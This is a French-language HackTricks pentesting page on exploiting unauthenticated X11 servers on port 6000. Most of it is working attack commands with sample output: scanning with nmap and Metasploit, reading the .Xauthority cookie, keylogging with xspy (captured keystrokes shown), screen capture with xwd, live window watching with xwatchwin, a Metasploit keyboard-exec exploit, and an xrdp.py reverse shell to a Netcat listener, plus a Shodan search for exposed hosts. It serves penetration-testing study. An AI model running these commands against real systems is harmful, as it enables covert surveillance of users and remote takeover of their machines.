6000 - Pentesting X11
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
X Window System (X) est un systĂšme de fenĂȘtres polyvalent rĂ©pandu sur les systĂšmes d'exploitation basĂ©s sur UNIX. Il fournit un cadre pour crĂ©er des interfaces utilisateur graphiques (GUI), chaque programme gĂ©rant la conception de l'interface utilisateur. Cette flexibilitĂ© permet des expĂ©riences diverses et personnalisables au sein de l'environnement X.
Port par défaut : 6000
PORT STATE SERVICE
6000/tcp open X11
ĂnumĂ©ration
VĂ©rifiez la connexion anonyme :
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
ĂnumĂ©ration locale
Le fichier .Xauthority
dans le dossier personnel de l'utilisateur est utilisé par X11 pour l'autorisation. Depuis ici:
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
MIT-magic-cookie-1 : GĂ©nĂ©ration de 128 bits de clĂ© (âcookieâ), stockage dans ~/.Xauthority (ou lĂ oĂč pointe la variable d'environnement XAUTHORITY). Le client l'envoie au serveur en clair ! Le serveur vĂ©rifie s'il a une copie de ce âcookieâ et si c'est le cas, la connexion est autorisĂ©e. La clĂ© est gĂ©nĂ©rĂ©e par DMX.
warning
Pour utiliser le cookie, vous devez définir la variable d'environnement : export XAUTHORITY=/path/to/.Xauthority
Session d'énumération locale
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
Dans l'exemple, localhost:0
exécutait xfce4-session.
VĂ©rifier la connexion
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Keyloggin
xspy pour intercepter les frappes au clavier.
Sortie d'exemple :
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
Capture d'Ă©crans
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
Vue de Bureau Ă Distance
Chemin depuis : https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
La premiĂšre Ă©tape consiste Ă trouver l'ID de la fenĂȘtre en utilisant xwininfo.
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
Pour la visualisation en direct, nous devons utiliser
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
Obtenir un Shell
msf> use exploit/unix/x11/x11_keyboard_exec
Reverse Shell : Xrdp permet Ă©galement de prendre un reverse shell via Netcat. Tapez la commande suivante :
./xrdp.py \<IP:0> âno-disp
Dans l'interface, vous pouvez voir l'option R-shell.
Ensuite, démarrez un écouteur Netcat sur votre systÚme local sur le port 5555.
nc -lvp 5555
Ensuite, mettez votre adresse IP et votre port dans l'option R-Shell et cliquez sur R-shell pour obtenir un shell
Références
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Shodan
port:6000 x11
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.